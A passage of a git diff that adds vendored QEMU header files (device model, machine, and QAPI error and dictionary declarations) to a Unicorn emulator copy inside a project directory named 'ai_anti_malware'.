apic_report_tpr_access; + +bool apic_next_timer(APICCommonState *s, int64_t current_time); +void apic_enable_vapic(struct uc_struct *uc, DeviceState *d, hwaddr paddr); + +void vapic_report_tpr_access(DeviceState *dev, CPUState *cpu, target_ulong ip, + TPRAccess access); + +#endif /* !QEMU_APIC_INTERNAL_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/i386/pc.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/i386/pc.h new file mode 100644 index 0000000..c149ed7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/i386/pc.h @@ -0,0 +1,52 @@ +#ifndef HW_PC_H +#define HW_PC_H + +#include "hw/boards.h" + +/** + * PCMachineState: + */ +struct PCMachineState { + /*< private >*/ + MachineState parent_obj; + + uint64_t max_ram_below_4g; +}; + +#define PC_MACHINE_MAX_RAM_BELOW_4G "max-ram-below-4g" + +/** + * PCMachineClass: + */ +struct PCMachineClass { + /*< private >*/ + MachineClass parent_class; +}; + +typedef struct PCMachineState PCMachineState; +typedef struct PCMachineClass PCMachineClass; + +#define TYPE_PC_MACHINE "generic-pc-machine" +#define PC_MACHINE(uc, obj) \ + OBJECT_CHECK(uc, PCMachineState, (obj), TYPE_PC_MACHINE) +#define PC_MACHINE_GET_CLASS(obj) \ + OBJECT_GET_CLASS(PCMachineClass, (obj), TYPE_PC_MACHINE) +#define PC_MACHINE_CLASS(klass) \ + OBJECT_CLASS_CHECK(PCMachineClass, (klass), TYPE_PC_MACHINE) + +int pc_cpus_init(struct uc_struct *uc, const char *cpu_model); + +FWCfgState *pc_memory_init(MachineState *machine, + MemoryRegion *system_memory, + ram_addr_t begin, + MemoryRegion **ram_memory); +typedef void (*cpu_set_smm_t)(int smm, void *arg); +void cpu_smm_register(cpu_set_smm_t callback, void *arg); + +void pc_machine_register_types(struct uc_struct *uc); +void x86_cpu_register_types(struct uc_struct *uc); + +#define PC_DEFAULT_MACHINE_OPTIONS \ + .max_cpus = 255 + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/m68k/m68k.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/m68k/m68k.h new file mode 100644 index 0000000..893da01 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/m68k/m68k.h @@ -0,0 +1,10 @@ +#ifndef HW_M68K_H +#define HW_M68K_H + +#include "uc_priv.h" + +void dummy_m68k_machine_init(struct uc_struct *uc); + +void m68k_cpu_register_types(void *opaque); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/mips/cpudevs.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/mips/cpudevs.h new file mode 100644 index 0000000..ce6b487 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/mips/cpudevs.h @@ -0,0 +1,10 @@ +#ifndef HW_MIPS_CPUDEVS_H +#define HW_MIPS_CPUDEVS_H +/* Definitions for MIPS CPU internal devices. */ + +/* mips_addr.c */ +uint64_t cpu_mips_kseg0_to_phys(void *opaque, uint64_t addr); +uint64_t cpu_mips_phys_to_kseg0(void *opaque, uint64_t addr); +uint64_t cpu_mips_kvm_um_phys_to_kseg0(void *opaque, uint64_t addr); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/mips/mips.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/mips/mips.h new file mode 100644 index 0000000..94a57dd --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/mips/mips.h @@ -0,0 +1,7 @@ +#ifndef HW_MIPS_H +#define HW_MIPS_H + +void mips_machine_init(struct uc_struct *uc); +void mips_cpu_register_types(void *opaque); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/qdev-core.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/qdev-core.h new file mode 100644 index 0000000..9c9b1e3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/qdev-core.h @@ -0,0 +1,353 @@ +#ifndef QDEV_CORE_H +#define QDEV_CORE_H + +#include "qemu/queue.h" +#include "qemu/typedefs.h" +#include "qemu/bitmap.h" +#include "qom/object.h" +#include "qapi/error.h" + +enum { + DEV_NVECTORS_UNSPECIFIED = -1, +}; + +#define TYPE_DEVICE "device" +#define DEVICE(uc, obj) OBJECT_CHECK(uc, DeviceState, (obj), TYPE_DEVICE) +#define DEVICE_CLASS(uc, klass) OBJECT_CLASS_CHECK(uc, DeviceClass, (klass), TYPE_DEVICE) +#define DEVICE_GET_CLASS(uc, obj) OBJECT_GET_CLASS(uc, DeviceClass, (obj), TYPE_DEVICE) + +typedef enum DeviceCategory { + DEVICE_CATEGORY_BRIDGE, + DEVICE_CATEGORY_USB, + DEVICE_CATEGORY_STORAGE, + DEVICE_CATEGORY_NETWORK, + DEVICE_CATEGORY_INPUT, + DEVICE_CATEGORY_DISPLAY, + DEVICE_CATEGORY_SOUND, + DEVICE_CATEGORY_MISC, + DEVICE_CATEGORY_MAX +} DeviceCategory; + +typedef int (*qdev_initfn)(DeviceState *dev); +typedef int (*qdev_event)(DeviceState *dev); +typedef void (*qdev_resetfn)(DeviceState *dev); +typedef int (*DeviceRealize)(struct uc_struct *uc, DeviceState *dev, Error **errp); +typedef void (*DeviceUnrealize)(DeviceState *dev, Error **errp); +typedef void (*BusRealize)(BusState *bus, Error **errp); +typedef void (*BusUnrealize)(BusState *bus, Error **errp); + +struct VMStateDescription; + +/** + * DeviceClass: + * @props: Properties accessing state fields. + * @realize: Callback function invoked when the #DeviceState:realized + * property is changed to %true. The default invokes @init if not %NULL. + * @unrealize: Callback function invoked when the #DeviceState:realized + * property is changed to %false. + * @init: Callback function invoked when the #DeviceState::realized property + * is changed to %true. Deprecated, new types inheriting directly from + * TYPE_DEVICE should use @realize instead, new leaf types should consult + * their respective parent type. + * @hotpluggable: indicates if #DeviceClass is hotpluggable, available + * as readonly "hotpluggable" property of #DeviceState instance + * + * # Realization # + * Devices are constructed in two stages, + * 1) object instantiation via object_initialize() and + * 2) device realization via #DeviceState:realized property. + * The former may not fail (it might assert or exit), the latter may return + * error information to the caller and must be re-entrant. + * Trivial field initializations should go into #TypeInfo.instance_init. + * Operations depending on @props static properties should go into @realize. + * After successful realization, setting static properties will fail. + * + * As an interim step, the #DeviceState:realized property is set by deprecated + * functions qdev_init() and qdev_init_nofail(). + * In the future, devices will propagate this state change to their children + * and along busses they expose. + * The point in time will be deferred to machine creation, so that values + * set in @realize will not be introspectable beforehand. Therefore devices + * must not create children during @realize; they should initialize them via + * object_initialize() in their own #TypeInfo.instance_init and forward the + * realization events appropriately. + * + * The @init callback is considered private to a particular bus implementation + * (immediate abstract child types of TYPE_DEVICE). Derived leaf types set an + * "init" callback on their parent class instead. + * + * Any type may override the @realize and/or @unrealize callbacks but needs + * to call the parent type's implementation if keeping their functionality + * is desired. Refer to QOM documentation for further discussion and examples. + * + * <note> + * <para> + * If a type derived directly from TYPE_DEVICE implements @realize, it does + * not need to implement @init and therefore does not need to store and call + * #DeviceClass' default @realize callback. + * For other types consult the documentation and implementation of the + * respective parent types. + * </para> + * </note> + */ +typedef struct DeviceClass { + /*< private >*/ + ObjectClass parent_class; + /*< public >*/ + + DECLARE_BITMAP(categories, DEVICE_CATEGORY_MAX); + const char *fw_name; + const char *desc; + Property *props; + + /* + * Shall we hide this device model from -device / device_add? + * All devices should support instantiation with device_add, and + * this flag should not exist. But we're not there, yet. Some + * devices fail to instantiate with cryptic error messages. + * Others instantiate, but don't work. Exposing users to such + * behavior would be cruel; this flag serves to protect them. It + * should never be set without a comment explaining why it is set. + * TODO remove once we're there + */ + bool cannot_instantiate_with_device_add_yet; + bool hotpluggable; + + /* callbacks */ + void (*reset)(struct uc_struct *uc, DeviceState *dev); + DeviceRealize realize; + DeviceUnrealize unrealize; + + /* device state */ + const struct VMStateDescription *vmsd; + + /* Private to qdev / bus. */ + qdev_initfn init; /* TODO remove, once users are converted to realize */ + qdev_event exit; /* TODO remove, once users are converted to unrealize */ + const char *bus_type; +} DeviceClass; + +typedef struct NamedGPIOList NamedGPIOList; + +struct NamedGPIOList { + char *name; + int num_in; + int num_out; + QLIST_ENTRY(NamedGPIOList) node; +}; + +/** + * DeviceState: + * @realized: Indicates whether the device has been fully constructed. + * + * This structure should not be accessed directly. We declare it here + * so that it can be embedded in individual device state structures. + */ +struct DeviceState { + /*< private >*/ + Object parent_obj; + /*< public >*/ + + const char *id; + bool realized; + bool pending_deleted_event; + int hotplugged; + BusState *parent_bus; + QLIST_HEAD(, NamedGPIOList) gpios; + QLIST_HEAD(, BusState) child_bus; + int num_child_bus; + int instance_id_alias; + int alias_required_for_version; +}; + +#define TYPE_BUS "bus" +#define BUS(uc, obj) OBJECT_CHECK(uc, BusState, (obj), TYPE_BUS) +#define BUS_CLASS(klass) OBJECT_CLASS_CHECK(BusClass, (klass), TYPE_BUS) +#define BUS_GET_CLASS(obj) OBJECT_GET_CLASS(BusClass, (obj), TYPE_BUS) + +struct BusClass { + ObjectClass parent_class; + + /* FIXME first arg should be BusState */ + char *(*get_dev_path)(DeviceState *dev); + /* + * This callback is used to create Open Firmware device path in accordance + * with OF spec http://forthworks.com/standards/of1275.pdf. Individual bus + * bindings can be found at http://playground.sun.com/1275/bindings/. + */ + char *(*get_fw_dev_path)(DeviceState *dev); + void (*reset)(BusState *bus); + BusRealize realize; + BusUnrealize unrealize; + + /* maximum devices allowed on the bus, 0: no limit. */ + int max_dev; + /* number of automatically allocated bus ids (e.g. ide.0) */ + int automatic_ids; +}; + +typedef struct BusChild { + DeviceState *child; + int index; + QTAILQ_ENTRY(BusChild) sibling; +} BusChild; + +#define QDEV_HOTPLUG_HANDLER_PROPERTY "hotplug-handler" + +/** + * BusState: + * @hotplug_device: link to a hotplug device associated with bus. + */ +struct BusState { + Object obj; + DeviceState *parent; + const char *name; + int max_index; + bool realized; + QTAILQ_HEAD(ChildrenHead, BusChild) children; + QLIST_ENTRY(BusState) sibling; +}; + +struct Property { + const char *name; + PropertyInfo *info; + int offset; + uint8_t bitnr; + uint8_t qtype; + int64_t defval; + int arrayoffset; + PropertyInfo *arrayinfo; + int arrayfieldsize; +}; + +struct PropertyInfo { + const char *name; + const char *description; + const char **enum_table; + int (*print)(DeviceState *dev, Property *prop, char *dest, size_t len); + ObjectPropertyAccessor *get; + ObjectPropertyAccessor *set; + ObjectPropertyRelease *release; +}; + +/** + * GlobalProperty: + * @user_provided: Set to true if property comes from user-provided config + * (command-line or config file). + * @used: Set to true if property was used when initializing a device. + */ +typedef struct GlobalProperty { + const char *driver; + const char *property; + const char *value; + bool user_provided; + bool used; + QTAILQ_ENTRY(GlobalProperty) next; +} GlobalProperty; + +/*** Board API. This should go away once we have a machine config file. ***/ + +DeviceState *qdev_create(BusState *bus, const char *name); +DeviceState *qdev_try_create(BusState *bus, const char *name); +int qdev_init(DeviceState *dev) QEMU_WARN_UNUSED_RESULT; +void qdev_init_nofail(DeviceState *dev); +void qdev_set_legacy_instance_id(DeviceState *dev, int alias_id, + int required_for_version); +void qdev_unplug(DeviceState *dev, Error **errp); +void qdev_machine_creation_done(void); +bool qdev_machine_modified(void); + +BusState *qdev_get_child_bus(DeviceState *dev, const char *name); + +/*** Device API. ***/ + +/* Register device properties. */ +/* GPIO inputs also double as IRQ sinks. */ +void qdev_pass_gpios(DeviceState *dev, DeviceState *container, + const char *name); + +BusState *qdev_get_parent_bus(DeviceState *dev); + +/*** BUS API. ***/ + +DeviceState *qdev_find_recursive(BusState *bus, const char *id); + +/* Returns 0 to walk children, > 0 to skip walk, < 0 to terminate walk. */ +typedef int (qbus_walkerfn)(BusState *bus, void *opaque); +typedef int (qdev_walkerfn)(DeviceState *dev, void *opaque); + +void qbus_create_inplace(void *bus, size_t size, const char *typename_, + DeviceState *parent, const char *name); +BusState *qbus_create(const char *typename_, DeviceState *parent, const char *name); +/* Returns > 0 if either devfn or busfn skip walk somewhere in cursion, + * < 0 if either devfn or busfn terminate walk somewhere in cursion, + * 0 otherwise. */ +int qbus_walk_children(BusState *bus, + qdev_walkerfn *pre_devfn, qbus_walkerfn *pre_busfn, + qdev_walkerfn *post_devfn, qbus_walkerfn *post_busfn, + void *opaque); +int qdev_walk_children(DeviceState *dev, + qdev_walkerfn *pre_devfn, qbus_walkerfn *pre_busfn, + qdev_walkerfn *post_devfn, qbus_walkerfn *post_busfn, + void *opaque); + +void qdev_reset_all(DeviceState *dev); + +/** + * @qbus_reset_all: + * @bus: Bus to be reset. + * + * Reset @bus and perform a bus-level ("hard") reset of all devices connected + * to it, including recursive processing of all buses below @bus itself. A + * hard reset means that qbus_reset_all will reset all state of the device. + * For PCI devices, for example, this will include the base address registers + * or configuration space. + */ +void qbus_reset_all(BusState *bus); +void qbus_reset_all_fn(void *opaque); + +/* This should go away once we get rid of the NULL bus hack */ +BusState *sysbus_get_default(void); + +char *qdev_get_fw_dev_path(DeviceState *dev); + +/** + * @qdev_machine_init + * + * Initialize platform devices before machine init. This is a hack until full + * support for composition is added. + */ +void qdev_machine_init(void); + +/** + * @device_reset + * + * Reset a single device (by calling the reset method). + */ +void device_reset(DeviceState *dev); + +const struct VMStateDescription *qdev_get_vmsd(DeviceState *dev); + +const char *qdev_fw_name(DeviceState *dev); + +Object *qdev_get_machine(struct uc_struct *); + +/* FIXME: make this a link<> */ +void qdev_set_parent_bus(DeviceState *dev, BusState *bus); + +extern int qdev_hotplug; + +char *qdev_get_dev_path(DeviceState *dev); + +GSList *qdev_build_hotpluggable_device_list(Object *peripheral); + +void qbus_set_hotplug_handler(BusState *bus, DeviceState *handler, + Error **errp); + +void qbus_set_bus_hotplug_handler(BusState *bus, Error **errp); + +void qdev_register_types(struct uc_struct *uc); + +void sysbus_register_types(struct uc_struct *uc); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/qdev.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/qdev.h new file mode 100644 index 0000000..85313af --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/qdev.h @@ -0,0 +1,7 @@ +#ifndef QDEV_H +#define QDEV_H + +#include "hw/hw.h" +#include "hw/qdev-core.h" + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/sparc/sparc.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/sparc/sparc.h new file mode 100644 index 0000000..e478911 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/sparc/sparc.h @@ -0,0 +1,8 @@ +#ifndef HW_SPARC_H +#define HW_SPARC_H + +void sparc_cpu_register_types(void *opaque); +void leon3_machine_init(struct uc_struct *uc); +void sun4u_machine_init(struct uc_struct *uc); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/dealloc-visitor.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/dealloc-visitor.h new file mode 100644 index 0000000..cf4c36d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/dealloc-visitor.h @@ -0,0 +1,26 @@ +/* + * Dealloc Visitor + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Michael Roth <mdroth@linux.vnet.ibm.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#ifndef QAPI_DEALLOC_VISITOR_H +#define QAPI_DEALLOC_VISITOR_H + +#include "qapi/visitor.h" + +typedef struct QapiDeallocVisitor QapiDeallocVisitor; + +QapiDeallocVisitor *qapi_dealloc_visitor_new(void); +void qapi_dealloc_visitor_cleanup(QapiDeallocVisitor *d); + +Visitor *qapi_dealloc_get_visitor(QapiDeallocVisitor *v); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/error.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/error.h new file mode 100644 index 0000000..fc1cec6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/error.h @@ -0,0 +1,88 @@ +/* + * QEMU Error Objects + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori <aliguori@us.ibm.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2. See + * the COPYING.LIB file in the top-level directory. + */ +#ifndef ERROR_H +#define ERROR_H + +#include "qemu/compiler.h" +#include "qapi-types.h" +#include "unicorn/platform.h" + +/** + * A class representing internal errors within QEMU. An error has a ErrorClass + * code and a human message. + */ +typedef struct Error Error; + +/** + * Set an indirect pointer to an error given a ErrorClass value and a + * printf-style human message. This function is not meant to be used outside + * of QEMU. + */ +void error_set(Error **errp, ErrorClass err_class, const char *fmt, ...) + GCC_FMT_ATTR(3, 4); + +/** + * Set an indirect pointer to an error given a ErrorClass value and a + * printf-style human message, followed by a strerror() string if + * @os_error is not zero. + */ +void error_set_errno(Error **errp, int os_error, ErrorClass err_class, + const char *fmt, ...) GCC_FMT_ATTR(4, 5); + +/** + * Same as error_set(), but sets a generic error + */ +#define error_setg(errp, fmt, ...) \ + error_set(errp, ERROR_CLASS_GENERIC_ERROR, fmt, ## __VA_ARGS__) +#define error_setg_errno(errp, os_error, fmt, ...) \ + error_set_errno(errp, os_error, ERROR_CLASS_GENERIC_ERROR, \ + fmt, ## __VA_ARGS__) + +/** + * Helper for open() errors + */ +void error_setg_file_open(Error **errp, int os_errno, const char *filename); + +/* + * Get the error class of an error object. + */ +ErrorClass error_get_class(const Error *err); + +/** + * Returns an exact copy of the error passed as an argument. + */ +Error *error_copy(const Error *err); + +/** + * Get a human readable representation of an error object. + */ +const char *error_get_pretty(Error *err); + +/** + * Propagate an error to an indirect pointer to an error. This function will + * always transfer ownership of the error reference and handles the case where + * dst_err is NULL correctly. Errors after the first are discarded. + */ +void error_propagate(Error **dst_errp, Error *local_err); + +/** + * Free an error object. + */ +void error_free(Error *err); + +/** + * If passed to error_set and friends, abort(). + */ + +extern Error *error_abort; + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp-input-visitor.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp-input-visitor.h new file mode 100644 index 0000000..3ed499c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp-input-visitor.h @@ -0,0 +1,29 @@ +/* + * Input Visitor + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori <aliguori@us.ibm.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#ifndef QMP_INPUT_VISITOR_H +#define QMP_INPUT_VISITOR_H + +#include "qapi/visitor.h" +#include "qapi/qmp/qobject.h" + +typedef struct QmpInputVisitor QmpInputVisitor; + +QmpInputVisitor *qmp_input_visitor_new(QObject *obj); +QmpInputVisitor *qmp_input_visitor_new_strict(QObject *obj); + +void qmp_input_visitor_cleanup(QmpInputVisitor *v); + +Visitor *qmp_input_get_visitor(QmpInputVisitor *v); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp-output-visitor.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp-output-visitor.h new file mode 100644 index 0000000..2266770 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp-output-visitor.h @@ -0,0 +1,28 @@ +/* + * Output Visitor + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori <aliguori@us.ibm.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#ifndef QMP_OUTPUT_VISITOR_H +#define QMP_OUTPUT_VISITOR_H + +#include "qapi/visitor.h" +#include "qapi/qmp/qobject.h" + +typedef struct QmpOutputVisitor QmpOutputVisitor; + +QmpOutputVisitor *qmp_output_visitor_new(void); +void qmp_output_visitor_cleanup(QmpOutputVisitor *v); + +QObject *qmp_output_get_qobject(QmpOutputVisitor *v); +Visitor *qmp_output_get_visitor(QmpOutputVisitor *v); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qbool.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qbool.h new file mode 100644 index 0000000..5304dc5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qbool.h @@ -0,0 +1,29 @@ +/* + * QBool Module + * + * Copyright IBM, Corp. 2009 + * + * Authors: + * Anthony Liguori <aliguori@us.ibm.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#ifndef QBOOL_H +#define QBOOL_H + +#include "unicorn/platform.h" +#include "qapi/qmp/qobject.h" + +typedef struct QBool { + QObject_HEAD; + int value; +} QBool; + +QBool *qbool_from_int(int value); +int qbool_get_int(const QBool *qb); +QBool *qobject_to_qbool(const QObject *obj); + +#endif /* QBOOL_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qdict.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qdict.h new file mode 100644 index 0000000..567c02f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qdict.h @@ -0,0 +1,75 @@ +/* + * QDict Module + * + * Copyright (C) 2009 Red Hat Inc. + * + * Authors: + * Luiz Capitulino <lcapitulino@redhat.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + */ + +#ifndef QDICT_H +#define QDICT_H + +#include "qapi/qmp/qobject.h" +#include "qapi/qmp/qlist.h" +#include "qemu/queue.h" +#include "unicorn/platform.h" + +#define QDICT_BUCKET_MAX 512 + +typedef struct QDictEntry { + char *key; + QObject *value; + QLIST_ENTRY(QDictEntry) next; +} QDictEntry; + +typedef struct QDict { + QObject_HEAD; + size_t size; + QLIST_HEAD(,QDictEntry) table[QDICT_BUCKET_MAX]; +} QDict; + +/* Object API */ +QDict *qdict_new(void); +const char *qdict_entry_key(const QDictEntry *entry); +QObject *qdict_entry_value(const QDictEntry *entry); +size_t qdict_size(const QDict *qdict); +void qdict_put_obj(QDict *qdict, const char *key, QObject *value); +void qdict_del(QDict *qdict, const char *key); +int qdict_haskey(const QDict *qdict, const char *key); +QObject *qdict_get(const QDict *qdict, const char *key); +QDict *qobject_to_qdict(const QObject *obj); +void qdict_iter(const QDict *qdict, + void (*iter)(const char *key, QObject *obj, void *opaque), + void *opaque); +const QDictEntry *qdict_first(const QDict *qdict); +const QDictEntry *qdict_next(const QDict *qdict, const QDictEntry *entry); + +/* Helper to qdict_put_obj(), accepts any object */ +#define qdict_put(qdict, key, obj) \ + qdict_put_obj(qdict, key, QOBJECT(obj)) + +/* High level helpers */ +double qdict_get_double(const QDict *qdict, const char *key); +int64_t qdict_get_int(const QDict *qdict, const char *key); +int qdict_get_bool(const QDict *qdict, const char *key); +QList *qdict_get_qlist(const QDict *qdict, const char *key); +QDict *qdict_get_qdict(const QDict *qdict, const char *key); +const char *qdict_get_str(const QDict *qdict, const char *key); +int64_t qdict_get_try_int(const QDict *qdict, const char *key, + int64_t def_value); +int qdict_get_try_bool(const QDict *qdict, const char *key, int def_value); +const char *qdict_get_try_str(const QDict *qdict, const char *key); + +QDict *qdict_clone_shallow(const QDict *src); +void qdict_flatten(QDict *qdict); + +void qdict_extract_subqdict(QDict *src, QDict **dst, const char *start); +void qdict_array_split(QDict *src, QList **dst); + +void qdict_join(QDict *dest, QDict *src, bool overwrite); + +#endif /* QDICT_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qerror.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qerror.h new file mode 100644 index 0000000..ed12abe --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qerror.h @@ -0,0 +1,155 @@ +/* + * QError Module + * + * Copyright (C) 2009 Red Hat Inc. + * + * Authors: + * Luiz Capitulino <lcapitulino@redhat.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + */ +#ifndef QERROR_H +#define QERROR_H + +#include "qapi/qmp/qstring.h" +#include "qapi/error.h" +#include "qapi-types.h" +#include <stdarg.h> + +typedef struct QError { + QObject_HEAD; + char *err_msg; + ErrorClass err_class; +} QError; + +QString *qerror_human(const QError *qerror); +void qerror_report(ErrorClass err_class, const char *fmt, ...) GCC_FMT_ATTR(2, 3); +void qerror_report_err(Error *err); + +/* + * QError class list + * Please keep the definitions in alphabetical order. + * Use scripts/check-qerror.sh to check. + */ +#define QERR_BASE_NOT_FOUND \ + ERROR_CLASS_GENERIC_ERROR, "Base '%s' not found" + +#define QERR_BLOCK_JOB_NOT_ACTIVE \ + ERROR_CLASS_DEVICE_NOT_ACTIVE, "No active block job on device '%s'" + +#define QERR_BLOCK_JOB_NOT_READY \ + ERROR_CLASS_GENERIC_ERROR, "The active block job for device '%s' cannot be completed" + +#define QERR_BLOCK_FORMAT_FEATURE_NOT_SUPPORTED \ + ERROR_CLASS_GENERIC_ERROR, "Block format '%s' used by device '%s' does not support feature '%s'" + +#define QERR_BUS_NO_HOTPLUG \ + ERROR_CLASS_GENERIC_ERROR, "Bus '%s' does not support hotplugging" + +#define QERR_BUS_NOT_FOUND \ + ERROR_CLASS_GENERIC_ERROR, "Bus '%s' not found" + +#define QERR_COMMAND_NOT_FOUND \ + ERROR_CLASS_COMMAND_NOT_FOUND, "The command %s has not been found" + +#define QERR_DEVICE_ENCRYPTED \ + ERROR_CLASS_DEVICE_ENCRYPTED, "'%s' (%s) is encrypted" + +#define QERR_DEVICE_HAS_NO_MEDIUM \ + ERROR_CLASS_GENERIC_ERROR, "Device '%s' has no medium" + +#define QERR_DEVICE_INIT_FAILED \ + ERROR_CLASS_GENERIC_ERROR, "Device '%s' could not be initialized" + +#define QERR_DEVICE_IN_USE \ + ERROR_CLASS_GENERIC_ERROR, "Device '%s' is in use" + +#define QERR_DEVICE_IS_READ_ONLY \ + ERROR_CLASS_GENERIC_ERROR, "Device '%s' is read only" + +#define QERR_DEVICE_NO_HOTPLUG \ + ERROR_CLASS_GENERIC_ERROR, "Device '%s' does not support hotplugging" + +#define QERR_DEVICE_NOT_ACTIVE \ + ERROR_CLASS_DEVICE_NOT_ACTIVE, "No %s device has been activated" + +#define QERR_DEVICE_NOT_ENCRYPTED \ + ERROR_CLASS_GENERIC_ERROR, "Device '%s' is not encrypted" + +#define QERR_DEVICE_NOT_FOUND \ + ERROR_CLASS_DEVICE_NOT_FOUND, "Device '%s' not found" + +#define QERR_FD_NOT_FOUND \ + ERROR_CLASS_GENERIC_ERROR, "File descriptor named '%s' not found" + +#define QERR_FD_NOT_SUPPLIED \ + ERROR_CLASS_GENERIC_ERROR, "No file descriptor supplied via SCM_RIGHTS" + +#define QERR_FEATURE_DISABLED \ + ERROR_CLASS_GENERIC_ERROR, "The feature '%s' is not enabled" + +#define QERR_INVALID_BLOCK_FORMAT \ + ERROR_CLASS_GENERIC_ERROR, "Invalid block format '%s'" + +#define QERR_INVALID_PARAMETER \ + ERROR_CLASS_GENERIC_ERROR, "Invalid parameter '%s'" + +#define QERR_INVALID_PARAMETER_TYPE \ + ERROR_CLASS_GENERIC_ERROR, "Invalid parameter type for '%s', expected: %s" + +#define QERR_INVALID_PARAMETER_VALUE \ + ERROR_CLASS_GENERIC_ERROR, "Parameter '%s' expects %s" + +#define QERR_INVALID_PASSWORD \ + ERROR_CLASS_GENERIC_ERROR, "Password incorrect" + +#define QERR_IO_ERROR \ + ERROR_CLASS_GENERIC_ERROR, "An IO error has occurred" + +#define QERR_JSON_PARSING \ + ERROR_CLASS_GENERIC_ERROR, "Invalid JSON syntax" + +#define QERR_KVM_MISSING_CAP \ + ERROR_CLASS_KVM_MISSING_CAP, "Using KVM without %s, %s unavailable" + +#define QERR_MIGRATION_ACTIVE \ + ERROR_CLASS_GENERIC_ERROR, "There's a migration process in progress" + +#define QERR_MISSING_PARAMETER \ + ERROR_CLASS_GENERIC_ERROR, "Parameter '%s' is missing" + +#define QERR_PERMISSION_DENIED \ + ERROR_CLASS_GENERIC_ERROR, "Insufficient permission to perform this operation" + +#define QERR_PROPERTY_VALUE_BAD \ + ERROR_CLASS_GENERIC_ERROR, "Property '%s.%s' doesn't take value '%s'" + +#define QERR_PROPERTY_VALUE_OUT_OF_RANGE \ + ERROR_CLASS_GENERIC_ERROR, "Property %s.%s doesn't take value %" PRId64 " (minimum: %" PRId64 ", maximum: %" PRId64 ")" + +#define QERR_QGA_COMMAND_FAILED \ + ERROR_CLASS_GENERIC_ERROR, "Guest agent command failed, error was '%s'" + +#define QERR_QMP_BAD_INPUT_OBJECT \ + ERROR_CLASS_GENERIC_ERROR, "Expected '%s' in QMP input" + +#define QERR_QMP_BAD_INPUT_OBJECT_MEMBER \ + ERROR_CLASS_GENERIC_ERROR, "QMP input object member '%s' expects '%s'" + +#define QERR_QMP_EXTRA_MEMBER \ + ERROR_CLASS_GENERIC_ERROR, "QMP input object member '%s' is unexpected" + +#define QERR_SET_PASSWD_FAILED \ + ERROR_CLASS_GENERIC_ERROR, "Could not set password" + +#define QERR_UNDEFINED_ERROR \ + ERROR_CLASS_GENERIC_ERROR, "An undefined error has occurred" + +#define QERR_UNKNOWN_BLOCK_FORMAT_FEATURE \ + ERROR_CLASS_GENERIC_ERROR, "'%s' uses a %s feature which is not supported by this qemu version: %s" + +#define QERR_UNSUPPORTED \ + 